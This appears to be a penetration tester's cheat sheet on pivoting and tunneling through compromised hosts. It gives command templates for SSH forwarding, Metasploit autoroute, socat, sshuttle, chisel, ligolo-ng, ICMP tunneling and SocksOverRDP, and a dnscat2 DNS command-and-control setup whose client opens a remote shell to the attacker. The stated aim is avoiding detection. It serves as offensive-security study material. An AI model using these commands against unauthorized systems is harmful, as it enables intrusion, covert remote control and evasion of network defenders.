Pivoting & Tunneling
Pivoting is moving to other networks through a compromised host to find multiple targets on different network segments and Tunneling is the obfuscation of our actions to avoid detection.
SSH
client
: Where the ssh command is executed.
server
: Target of the ssh connection.
Allows a local client port to be mapped to another port on a certain target reachable by the server.
ssh -N -L <C_PORT>:<S_TRAGET_IP>:<S_TARGET_PORT> <S_USER>@<S_IP>
(possible to repeat multiple times -L for multiple ports)
Metasploit
Pivoting only inside metasploit. Maps reaching other subnets via meterpreter sessions (via victim hosts).
post/multi/manage/autoroute # set network and session
Or
route add <NETWORK> <SESSION>
Or, in Meterpreter:
run autoroute -s <NETWORK>
Other
Simple Port Forwarding (single-host)
Define the listening port and the destination to rebroadcast to.
socat TCP4-LISTEN:<PORT>,fork TCP4:<TARGET_IP>:<TARGET_PORT>
It allows you to define on the local machine routes to certain subnets reachable from a host, via an ssh tunnel to that host. It therefore eliminates the need to configure proxychains.
sudo sshuttle -r <USER>@<IP>:<PORT_SSH> <NETWORK>
<COMMAND_TO_NETWORK>
NO proxychains, but root on the SSH client and Python3 on the SSH server.
On Windows before OpenSSH, PuTTY and its command-line-only counterpart Plink were used. Plink has much of the functionality offered by ssh.
plink.exe -ssh -R <PORT>:<IP>:<PORT> <USER>@<IP>
Tunneling
apt install ligolo-ng
Proxy on Attacker machine. Agent on Victim machine.
sudo ./proxy -selfcert
# See ATTACKER_IP ATTACKER_PORT
# > help
Connect the victim to the server
> sessions
> autoroute
It performs TCP/UDP pivoting and tunneling, transported over HTTP and encrypted internally via SSH. Being hidden under HTTP it can bypass some restrictions.
On Attacker
chisel server -p <PORT> --reverse --socks5
On Target
chisel client <SERVER_IP:PORT> <REMOTE> [<REMOTE>]
<REMOTE>
:
<C_IP>:<C_PORT>:<S_TARGET_IP>:<S_TARGET_PORT>
DNS-based encrypted command-and-control channel. A dnscat2 server runs on an authoritative name server for a particular domain (or as in our case a dummy dns server is created) while the client, configured to run queries on that domain, runs on the compromised machine.
On Attacker (Server)
sudo apt install dnscat2
sudo dnscat2-server --dns host=<IP>,port=53,domain=<DOMAIN>
# Memorize secret <SECRET>
On Target (Client)
Download compiled from HERE
./dnscat --dns server=<IP>,port=53,domain=<DOMAIN> --secret=<SECRET>
Or with Windows PowerShell Script
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <IP> -Domain <DOMAIN> -PreSharedSecret <SECRET> -Exec cmd
Once connected, from Attacker
?
<COMMAND> --help
windows # see connections ID
window -i <ID> # shell
Communication channel encapsulated in ICMP packets. Requires administrator privileges.
Installation
.exe
for Windows HERE
git clone https://github.com/utoni/ptunnel-ng.git && cd ptunnel-ng
sudo ./autogen.sh
cd src
On Target (Server)
sudo ./ptunnel-ng -r<SERVER_IP> -R22
On Attacker (Client)
sudo ./ptunnel-ng -p<SERVER_IP> -l2222 -r<SERVER_IP> -R22
ssh -p2222 -l<USER> <IP>
Allows tunnelling and pivoting between Windows systems via RDP. Requires administrator privileges.
On Attacker (Client), with System PowerShell
regsvr32.exe SocksOverRDP-Plugin.dll
mstsc.exe # Connect on target1
Download Proxifier, portable version (like proxychains but for windows).
Set new proxy server socks5
to 127.0.0.1:1080
On Target1, with System PowerShell
SocksOverRDP-Server.exe
On Attacker
mstsc.exe # Connect on target1 via Target1 pivoting
Warning
With proxychains only full TCP connect scan (
nmap -sT
)Windows Defender blocks ICMP, traditional ping (
nmap -Pn
)
Last updated
Was this helpful?